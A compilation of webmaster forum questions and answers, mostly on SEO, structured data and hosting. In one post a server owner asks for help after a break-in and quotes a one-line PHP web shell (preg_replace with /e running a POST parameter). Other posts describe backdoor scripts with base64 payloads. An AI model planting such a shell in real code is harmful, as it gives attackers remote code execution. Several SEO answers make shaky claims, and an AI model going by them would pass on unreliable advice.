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 query : Server has been infected with numerous backdoor Shell Scripts (php) how can I test those scripts functionality? So i have a handful of php backdoor shell exploits that I've recovered from a

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Posted in: #Php #Virus

So i have a handful of php backdoor shell exploits that I've recovered from a unupdated wordpress website. I found these traces in Feb 2018, they have been there since Nov 19 2017. Now I opened one of these php files and they are riddled full of backdoor type crap and have a bunch of base64 payloads, inside those payloas there are all sorts of things like backdoor shell, and scripts, etc, that mess up the server.

Wiping the server is unfortunetally out of the question. I have manually gone through one of the 7 php worm files and line by line done searches for things, for example, they make a directory called "Lulz" so i searched the server for that. There were probably 100 scripts all packed into one php file. I've included it for refrerence.

Backdoor PHP Shell I found on my Server (PHP Gist file)

Now I've run CXS and its found alot of stuff, I've used find and grep to look for anything else. I've checked MySQL for tables, I've reset my reseller password, etc, etc.

My Question is: How can I test these shell scripts out on my box to see what they can do? Should I go get a VM of Centos and spin up my own server locally in a VM and then try to load this script up on it and see what it does?

I wonder if these scripts are from ScriptKiddies or from Bots. I wonder how many of the functions / features / and things they actually used or did with them? Does anyone have any experience running these backdoor shells or dealing with them and can tell me how safe is Centos 7x running the latest Cpanel / Latest WHM / latest Apache / etc. How much of these scripts can actually make it through and execute in 2018 (when the scripts are mostly written in 2014). Are some / all / any of these vulnerabilities patched?

Just trying to figure out how crazy these scripts got and how far down the rabbit hole they went in my server.

Anyone who is a glorified php worm expert wants to do a little digging into that file and tell me if there is anything in there I need to check?

I see stuff like passwd and vhosts and etc etc. just trying to track down any extra locations. ClamAV / CXS/ ModSecurity were all installed "after" Feb 2018 so anything I found was after the fact, not during.

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 query : Re: Hosting a blog on Google Cloud could help in SEO ranking? We usually host our blogs on shared hosting providers. These service providers use same shared space and IP for hundreds of blogs and

@Jessie594

Hosting on Google won't affect your ranking, but hosting on low-class company can affect your ranking, because, Google has recently announced its core algorithm update that, a website with low speed will be penalized or rank very slow. We all know that Google always works to provide quality things to its users and show them highly relevant results with good quality.

First of all, Now all the small or large websites are moving their sites from shared to the cloud, because due to having multiple websites in 1 server affects your website loading time and also bounce rate. Its due to slow server response.

I will suggest you check your site loading time with Google site speed test tool and fix all the changes. Move your website or blog to cloud hosting, so that, you will have only your website hosted on 1 server with high bandwidth and response rate.

I also own a blog and Magento store which is hosted by Cloudways and I am using GCE for it. You can try them and check site loading time after migrating to their managed platform.

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 query : Configuring Additional Smtp In WHMCS We have whmcs and primary smtp is configured to send invoices and hosting details. We wanted to configure another smtp that would be used to send critical

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Posted in: #Smtp #Whm #Whmcs

We have whmcs and primary smtp is configured to send invoices and hosting details. We wanted to configure another smtp that would be used to send critical alerts to the clients.
Is it possible in whmcs. Or can it be enabled by adding any API or 3rd party Module?

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 query : Get a Lets Encrypt SSL certificate through ZeroSSL for a .ovh.net subdomain I'm trying to set up https connection in one of my API. I normally make requests to my API through this address:

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Posted in: #Https #Iis #LetsEncrypt #SecurityCertificate #Windows

I'm trying to set up https connection in one of my API.
I normally make requests to my API through this address: vps******.ovh.net:8090
I'd like to be able to make HTTPS requests.

I use the ZeroSSL certificate wizard to build the certificate.

The problem here is that there been already 100 certificates generated for ovh.net subdomains, cause obviously there's a lot of OVH VPS user that requested let's encrypt certificates.

Is there a way to obtain a free certificate from a trusted authority for domains like vps******.ovh.net?

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 query : Server has been hacked. CXS Cleaned it up but hackers keep uploading scripts On Centos X64 / Apache / WHM / Cpanel When I look in my apache_logs I see THOUSANDS of these types of LOGS.

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Posted in: #Apache #Centos #Php

On Centos X64 / Apache / WHM / Cpanel

When I look in my apache_logs I see THOUSANDS of these types of LOGS. various days, always a different IP over and over and over. What are they trying to do? are they using an exploit of some sorts? I have root access so I can search for things if someone has an idea?

24.159.0.128 - - [19/May/2017:05:30:52 +0000] "POST / HTTP/1.1" 200 111 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
24.159.0.128 - - [19/May/2017:05:32:52 +0000] "POST / HTTP/1.1" 200 111 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
24.159.0.128 - - [19/May/2017:05:34:53 +0000] "POST / HTTP/1.1" 200 111 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
24.159.0.128 - - [19/May/2017:05:36:53 +0000] "POST / HTTP/1.1" 200 111 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
24.159.0.128 - - [19/May/2017:05:38:53 +0000] "POST / HTTP/1.1" 200 111 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
24.159.0.128 - - [19/May/2017:05:40:53 +0000] "POST / HTTP/1.1" 200 111 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"


Also in one of their uploaded hack scripts that CXS blocked I see this

EEC4D8E4439299046B8CDB3F782<?php @preg_replace ("/[pageerror]/e",$_POST['xbfk'],"saft"); ?>


is there something I can search for or any help would be appreciated!

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 query : Re: Putting Google+ and Facebook reviews on my website with Schema.org I have a some reviews on my Facebook page and Google Plus page. Can I put those reviews on other 3rd party review page using

@Jessie594

According to Common structured data errors of Google Search Guides:


Here are some common causes of structured data manual actions. A review is written by the site or person providing the product or service, rather than a customer or independent, unpaid reviewer.


Also similar information is in the Review snippet guidelines of Google Search Guides:


Google may display information from aggregate ratings markup in the Google Knowledge Cards. The following guidelines apply to review snippets in knowledge cards for local businesses: *Ratings must be sourced directly from users. * Sites must collect ratings information directly from users and not from other sites.


Do not do this, as this is contrary to Guides of Google.

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 query : Re: Why do some data analysis experts recommend having two Google Analytics accounts? I read some articles about data-analysis and they recommend 2 Google Analytics accounts for better tracking. I

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Do you mean profiles?

As has been said above there is no sense in having multiple accounts, but it is best practice to have multiple profiles including one which you never touch (no filters or anything) so it contains data which hasn't been processed in any way. The reason this is done is in case of data loss.

Good luck, more information here:
support.google.com/analytics/answer/1102152?hl=en www.seerinteractive.com/blog/best-practices-for-google-analytics-profiles/

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 query : Re: Can entire long articles be tagged as Schema.org articleBody, or is there a word count limit? I have long articles on my website, so I was wondering if there are any limits on word count

@Jessie594

There is no Word Count limit as the viewpoint of Schema.org.

But According to Google and Experts, Your Content Must be Upto 10000 words.

But no limit of wordcount in schema markup. you can write your content long as much you need.

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 query : Re: Analytics and no detection of Top Keywords We have being online for 5 years and I always noticed that in Analytics we've always get no keywords in the Top Keywords section of Google Analytics.

@Jessie594

you cant check keywords a GA without Connecting Google Console With Analytics.
You can connect both on Admin Page area of Google Analytics (Gear symbol).

But as you connected both then you can check keywords on-
ACQUISITION > Search Console > Queries

Hope it helps you.

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 query : Re: How can a site contain duplicate content that's required, but not affect its SEO? I am making a site for a specific niche. This site is very similar: Sample Article 01: https://alternativeto.net/software/google-chrome/

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There is no doubt that Duplicate content has bad effects over rankings. But as you said that both pages having same topic content so you should use some different words and sentence to remove duplicate content.

For Example - if there is "Pieces of the butter"
then on 2nd page write butter pieces...
I'm giving you just a hint...!

it will not be duplicated content technically. you can write a sentence in many ways.....

Almost every site has some pages where the topics are almost same.
How to rank in google?
On page SEO
Off page SEO guide
How to do SEO...

almost same terms will be used in every above topic. neilpatel.com is the best example of this.....

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 query : Using rel="nofollow" on a form that uses/links to Google Search page? I have a form that uses/links to Google's Search page to search for the input within my site. I have read other posts

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Posted in: #Forms #GoogleSearch #Html #Nofollow

I have a form that uses/links to Google's Search page to search for the input within my site. I have read other posts regarding nofollow but I am confused if I should put rel="nofollow" on the form just to prevent seemingly endorsing Google or its search page.

I mean, since I use Google Search page to process the input, wouldn't it be natural that nofollow is not used? Will Google actually penalize my site if they discovered I did not use nofollow, especially since I did not choose to use their pre-made Google Custom Search engine?

The code is below:

<form method='get' action='https://google.com/search' rel='nofollow' target='_blank'>
<input type='hidden' name='sitesearch' value='mywebsite.com' />
<input type='search' name='q' placeholder='search via Google' />
<button title='search (opens in new tab)' type='submit' value='submit'>Search</button>
</form>

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 query : Re: Prioritise Visible Content - Google PageSpeed Insights Wondering if anyone can help me. I'm having issues with prioritizing visible content (PVC). I've read all the Google documentation and understand

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Before the browser can render the page, it needs to construct the DOM and CSSOM trees. As a result, we need to ensure that we deliver both the HTML and CSS to the browser as quickly as possible.

The final output of this entire process is the Document Object Model (DOM) of our simple page, which the browser uses for all further processing of the page.

Every time the browser processes HTML markup, it goes through all of the steps following: convert bytes to characters, identify tokens, convert tokens to nodes, and build the DOM tree. This entire process can take some time, especially if we have a large amount of HTML to process.

The CSSOM and DOM trees are combined into a render tree, which is then used to compute the layout of each visible element and serves as an input to the paint process that renders the pixels to screen. Optimizing each of these steps is critical to achieving optimal rendering performance.

The render tree construction shows that the critical rendering path requires both the DOM and the CSSOM to construct the render tree. This creates an important performance implication: both HTML and CSS are render blocking resources. The HTML is obvious, since without the DOM we would not have anything to render, but the CSS requirement may be less obvious.

By default, CSS is treated as a render blocking resource, which means that the browser won't render any processed content until the CSSOM is constructed. Get it to the client as soon and as quickly as possible to optimize the time to first render.

JavaScript allows us to modify just about every aspect of the page: content, styling, and its response to user interaction. However, JavaScript can also block DOM construction and delay when the page is rendered. Executing our inline script blocks DOM construction, which also delays the initial render.

Another property of introducing scripts into webpage is that they can read and modify not just the DOM, but also the CSSOM properties. It may change the display of all or some properties of styles. In this way the browser delays script execution and DOM construction until it has finished downloading and constructing the CSSOM.

By default, JavaScript execution is "parser blocking": when the browser encounters a script in the document it must pause DOM construction, hand over control to the JavaScript runtime, and let the script execute before proceeding with DOM construction. Because the browser does not know what the script is planning to do on the page, it assumes the worst case scenario and blocks the parser. Inline scripts are always parser blocking unless you write additional code to defer their execution.

To deliver optimal performance, make your JavaScript async and eliminate any unnecessary JavaScript from the critical rendering path.

To deliver the fastest possible time to first render, we need to minimize three variables:

The number of critical resources.
The critical path length.
The number of critical bytes.

A critical resource is a resource that could block initial rendering of the page. The fewer of these resources, the less work for the browser, the CPU, and other resources.

Similarly, the critical path length is a function of the dependency graph between the critical resources and their bytesize: some resource downloads can only be initiated after a previous resource has been processed, and the larger the resource the more roundtrips it takes to download.

Finally, the fewer critical bytes the browser has to download, the faster it can process content and render it visible on the screen. To reduce the number of bytes, we can reduce the number of resources (eliminate them or make them non-critical) and ensure that we minimize the transfer size by compressing and optimizing each resource.

The general sequence of steps to optimize the critical rendering path is:

Analyze and characterize your critical path: number of resources, bytes, length.
Minimize number of critical resources: eliminate them, defer their download, mark them as async, and so on.

Optimize the number of critical bytes to reduce the download time (number of roundtrips).
Optimize the order in which the remaining critical resources are loaded: download all critical assets as early as possible to shorten the critical path length.

Summary - approximate chain of dependence of creating visible content: Visible conten => DOM => critical resources (eg. css, javascript).

Possible solution: applying styles within an element head, but without embedding them in the code HTML and using asynchronous as async / deferred downloads for all scripts. All this is applied in AMP - Accelerated Mobile Pages.

Source: Critical Rendering Path of Google Web Fundamentals and Optimizing the critical rendering path of Google Patners Help.

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 query : Re: Which URL is SEO friendly when it comes to non ASCII characters? /λαδοκολλα-περι-ανεμων /ladokolla-peri-anemon In the first URL I'm using the same business name, while in the

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I'd probably use your keywords report from Search Console. In case visitors are searching in Greek and there is a high chance to have those keywords in your URL then I'd go with λαδοκολλα-περι-ανεμων

Otherwise I'd use converted.

But all in all it might be not a big deal anyway. E.g. in Russian market both search engines are pretty good in converting letters both ways and the only researches I came across were about "how the user search your website? Do they switch keyboard layout?" and so on.

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 query : Use a single global domain with language subdirectories and language specific URL slugs for Wordpress internationalization We're looking to internationalize a WordPress website, and for multiple reasons

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Posted in: #Internationalization #Localization #Seo #Wordpress

We're looking to internationalize a WordPress website, and for multiple reasons have decided to go with the subdirectories with global top level domain option:


example.com/de/
example.com/it/
example.com/es/
etc


However, we would like the URL slugs to be in the local language, aiming to improve click through rates of local searchers. So that would be,


example.com/this-is-a-page
example.com/fr/c-est-une-page
example.com/es/esta-es-una-página
example.com/gr/auti-einai-mia-selida


Is it possible to do this on WordPress? Do you know any such setup examples?

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 query : My site is very old and is intended for desktops but 60% visitors are mobile my site is 16 years old and still looks great on a desktop monitor but looking at the statistics 60% of visitors

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Posted in: #Design #Mobile #ResponsiveWebdesign

my site is 16 years old and still looks great on a desktop monitor but looking at the statistics 60% of visitors enter my mobile devices my question is there a simple zoom script to mimic the finger pinch, I'm not going to redesign thousands of pages just to satisfy mobile punks.

and the responsive design screws up my beautiful design for desktop displays

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 query : Can a free domain from FreeNom (.tk, .ml, .ga, .cf, .gq) be used freely with a free Google Site? Does Google sites service accept free assigning of a free Google site with a free domain name

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Posted in: #Domains #Free #GoogleSites #WebHosting

Does Google sites service accept free assigning of a free Google site with a free domain name from FreeNom (.tk, .ml, .ga, .cf, .gq) ?

I tried, using a simple Gmail account, but the process is complicated and not clear.

Some indications are shown here:
Integrate with Google Sites

Does it freely accept any paid domain name from FreeNom?

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 query : Re: Is it ok to hide some Schema.org content? On our site we are using LocalBusiness. We are using 20 properties from the list. We only want to display (have visible) as content 3 properties.

@Jessie594

According to Google's recommendations Structured Data General Guidelines:


Important: Google does not guarantee that your structured data will show up in search results: ....The content referred to by the structured data is hidden from the user.


Accordingly, your website may have a high risk of getting a penalty from Google. Do not do this.

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 query : Re: Html5 tag video VS Youtube video Is it better to embed a Youtube video in an Iframe or to load the video on an HTML5 tag ? Which's better from an SEO point of view ? Is there any difference

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Is it better to embed a Youtube video in an Iframe or to load the video on an HTML5 tag ?


Both tags iframe and video loaded with the download of the current webpage. This can have a negative impact on the speed of downloading the web page, especially for mobile devices and especially in regions that do not have a connection to 4G. We know that Google’s mobile-first index is coming in 2018. Search-result rankings for your desktop site will be based on the signals from the mobile version. The speed of downloading webpages is important for mobile traffic. Mobile users expect to download webpages between 2 and 3 seconds. Download speed will be Google's search rank signal. For an example, try downloading on your smartphone this AMP webpage online of magazine Time with video. Analysis of download speed of this AMP webpage of WebPagetest = more than 15 seconds. This is completely unacceptable for mobile users.

Possible Solution:


Apply meta link preload (if this web page is not amp - with amp this meta creates a validation error), eg. <link rel="preload" href="your-youtube" as="video" >
For amp webpages you can apply AMP Cache.
Also you can apply SMIL.



Which's better from an SEO point of view ?


Set your YouTube as a button.

Eg. <a class= button href=https://www.youtube.com/embed/zzzzzz>My Youtube</a> - replace zzz with your video's id of YouTube - youtube.com/watch?v=XT2kHxSFMS0 - the allocated letters of the link and there are video id.

In this case, the video will be downloaded only when the user clicks on this button. To preload the video you can use any of the meta that proposed W3. For amp webpage see above.


Is there any difference on the loading time, optimization and the maintainance?


See all of the above.

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 query : Making sure sites on sub-domains are treated as related by search engines Are there any tips for making sure my landing page URLs and my web application's public URLs are treated as related

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Posted in: #MultipleDomains #Seo #Subdomain

Are there any tips for making sure my landing page URLs and my web application's public URLs are treated as related by search engines?

E.g: example.com https://example.com/pricing example.com/blog/the-amazing-post-title https://example.com/guides/getting-started app.example.com/login https://app.example.com/signup

I haven't set anything up yet, but as I understand it, search engines normally consider each domain and any subdomains as separate domains/sites (as you'd expect). Any help would be much appreciated.

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 query : What can cause "Discovered - currently not indexed" in the new GWT The new GWT shows sitemaps links divided into new categories. Two that confuse me: 1. Discovered- currently not indexed 2.

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Posted in: #GoogleIndex #GoogleSearchConsole #Seo

The new GWT shows sitemaps links divided into new categories. Two that confuse me:
1. Discovered- currently not indexed
2. Crawled - currently not indexed

What are the possible reasons for this, and are there any site wide implications? Is this a sign from Google I should consider removing these?

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 query : Do dynamic meta and title tags confuse Google in 2018? I have a built a website with a few pages (home, about, blog) using angularjs and ui-router. Reading around the internet the consensus

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Posted in: #AngularJs #Google #GoogleSearch #GoogleSearchConsole #MetaDescription

I have a built a website with a few pages (home, about, blog) using angularjs and ui-router.

Reading around the internet the consensus seems to be that google bot supports JS in all its glory (eg here). Therefore, I dynamically set the meta descriptions and title tags when routing to these pages in the site; however I still keep getting "Duplicate meta descriptions" and "Duplicate title tags" in the google search console (but not for all my pages...)

Am I misinformed? is google-bot getting confused with my dynamic meta and title tags? Can someone with knowledge please provide an answer that is relevant in 2018?

Thanks

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 query : Is placing the h1 just around the keywords but styling the rest of the larger line the same considered keyword stuffing? We have been asked to h1 tag something by our SEO agency, and I just

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Posted in: #Google #Seo

We have been asked to h1 tag something by our SEO agency, and I just wanted to sanity check it as it feels very much on the darker side of content management to me (as someone with less experience of this).

They have asked for the phrase 'exclusive games' to be on the site, but the ranking keyword to be an H1 (as per the below markup)

<div class="seo-welcomepage-h1">exclusive <h1>ranking keyword</h1> games</div>


(the outer div we added to ensure that formatting was consistent across the three words)

This troubles me - it's not semantic content, and it feels like we're trying to rank on a keyword without actually pushing the whole phrase as the 'heading'.

Obviously with CSS, I can make it all 'look' correct, but it just feels more underhand than just making the whole thing an h1.

Thoughts on this? Is it an acceptable SEO practice? Is the semantic nature of the content secondary to getting that single keyword ranked?

Cheers

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 query : Re: Can using structured data markup on the same content on multiple pages negatively impact SEO? I am implementing Schema.org structured data on our ecommerce reviews site. On product review pages

@Jessie594

According to the Google specification for structured data type Product:


a product page that describes a single product.


Accordingly, all structured data for type Review for a particular product must be installed only on the web page with this particular product.

According to the Google specification for structured data type Review:


You can supply ratings for the following content types: Local businesses + Movies + Books + Music + Products.


I can assume that it's unlikely your front webpage has content with a description of a single product. Therefore, we can ignore the latter type. If you have structured data for one of the specified types, this will work, but only for the specified type. For example, if your front page has a markup for type LocalBusiness then all reviews (and their structured data) should have a relationship to the local business, but not to the products they offer.. Accordingly, duplicating product reviews on the front webpage can be perceived as a violation of Google's recommendations and is not valid.

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 query : Re: Choosing schema.org type for a travel / tour I’m trying to choose schema.org format that best suits multi-day travel event, like tour. It has the following attributes: Start time, e.g.

@Jessie594

Apply markup for type TravelAction. For example:

<main vocab=https://schema.org/ typeof=TravelAction>
<h1 property=name>Your travel tour to Z</h1>
<p property=description>zzzzzz</p>
<p><time property=startTime datetime=2018-05-29></time></p>
<p><time property=endTime datetime=2018-06-07></time></p>
<section property=fromLocation typeof=Place>
<h2>Start from</h2>
<div property=address typeof=PostalAddress>
<p property=streetAddress>The street address.</p>
<p property=postalCode>555 55</p>
<p property=addressRegion>The region</p>
<p property=addressLocality>The locality</p>
<p property=>The country (You can also provide the two-letter ISO 3166-1 alpha-2 country code en.wikipedia.org/wiki/ISO_3166-1 exempel:<meta property=addressCountry content=SE>)</p>
</div>
</section>
<section property=toLocation typeof=Place>
<h2>End to</h2>
<div property=address typeof=PostalAddress>
<p property=addressLocality>The locality</p>
<p property=addressCountry>The country<meta property=addressCountry content=AR> (You can also provide the two-letter ISO 3166-1 alpha-2 country code en.wikipedia.org/wiki/ISO_3166-1 )</p>
</div></section>
<section property=potentialAction typeof=TradeAction>
<h2 property=name>The Price</h2>
<p property=priceSpecification typeof=PriceSpecification>$<meta property=priceCurrency content=USD>99<meta property=price content=99></p>
</section></main>


Check out this markup on the Google tool ++ info about Currency code of ISO 4217.

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 query : Re: Replacing trivial s with s for SEO? In the structure of my upcoming website, there will be multiple level 2 headings inside the master header. An example can be seen below: <header id="banner">

@Jessie594

According to w3schools about HTML Headings:


"Search engines use the headings to index the structure and content of
your web pages. Users skim your pages by its headings. It is important
to use headings to show the document structure. headings should
be used for main headings, followed by headings, then the less
important , and so on."


You yourself have to decide what blocks of information for your website are important, which are less important and so on down. Pay attention to this documentation W3 about element header. You install blocks Search + Follow Us + Extra Link inside of semantic elements article. If these are separate articles, then it is more logical to install them in the main unit of the webpage main.

But you say that this is "one for the search form" + "one for social network hyperlinks" + "one for extra links (ex: FAQ, Contact, etc)". So these are not articles, but rather simple links. And it is hardly the second most important information on the web page (using the element H2). Probably these links can be placed in the footer of a web page. Or in some block below the web page.

Since these links are not important information, it is more logical to apply to them the element div. But you can also set these references in the semantic element of the section, but using for their designation the lowest element of H in comparison with already applied, eg H6, but not H2.

Read more: Headings ++ Headings ++ HTML/Usage/Headings/h1only ++ Headings: The H1, H2, H3, H4, H5, H6 elements.

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 query : Muntilingual site with all traffic on same page, no hidden content for SEO ranking I'm working for a company that wants to compete with several other site that allready have much more traffic

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Posted in: #Iframe #Multilingual #Seo #Traffic

I'm working for a company that wants to compete with several other site that allready have much more traffic and end up higher on the SEO ranking.

I went over it with PR and our best solution would be to create landing page with the highest possible Ranking we can manage.

The problem I'm facing is that with the 'normal' way of managing multilingual sites the traffic is being divided between the different sub-domains.

when I use hidden divs for the other languages that show up when selecting the other language, the content with specific terminology would get a major penalty for having {display: none;

A frame wich shows the different language-pages on the same over-all page would end up with the language pages being found in google and people landing on them wich would generate no traffic on the over-all page. I could forward the language pages to the overall page with the frame. But wouldn't this giv me a big penalty also.

Does any one has a solution for this problem or is it just something that is this way with Google.

Thx in advance

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 query : Re: Why Google is indexing Thumbnails and not Large images? I have a page full of thumbnails, when clicked it opens the Full size image in new tab. The problem is that Google is indexing the

@Jessie594

For your images, you can apply the structured data as a property ImageObject. Something like this:
to rdfa

<div class="thumb" vocab=http://schema.org/ typeof=ImageObject>
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 query : Move to SSL and have 2 x domains, make one canonical or not? This is an updated version of 2 x domains for same site in Google make canonical or not and I am posting it again as A) there

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This is an updated version of 2 x domains for same site in Google make canonical or not and I am posting it again as A) there is a new SSL aspect to the question and B) it's nearly 4 years old and things change.

To recap the current situation, a site launched in 1999 with a domain consisting of two, very descriptive words (let's say dog-toys.ie). In about 2001 I parked dogtoys.ie onto dog-toys.ie (client had radio ads and figured the dash may add confusion to the site name). Also, for both domains, we have not made www canonical so dogtoys.ie/example.html or dog-toys.ie/example.html are the same page.

Based on advice here in March 2014 we did nothing and site continues to do well in Google. Searches show both domains have fairly even indexing:

site:dogtoys.ie About 3,500 results
site:dog-toys.ie About 3,040 results


We are re-visiting this because of the general move to SSL which now factors into ranking, and browsers give a not secure warning on forms.

Should I redirect, using a 301 in htaccess, dogtoys.ie to dogtoys.ie and separately dog-toys.ie to dog-toys.ie? Is there a SEO hit with this?

Or, (my preferred choice) send dogtoys.ie or dog-toys.ie or www.dogtoys.ie or www.dog-toys.ie to www.dog-toys.ie (and of course all pages)

Any advice / thoughts please - could we loose ranging by combining the domains?

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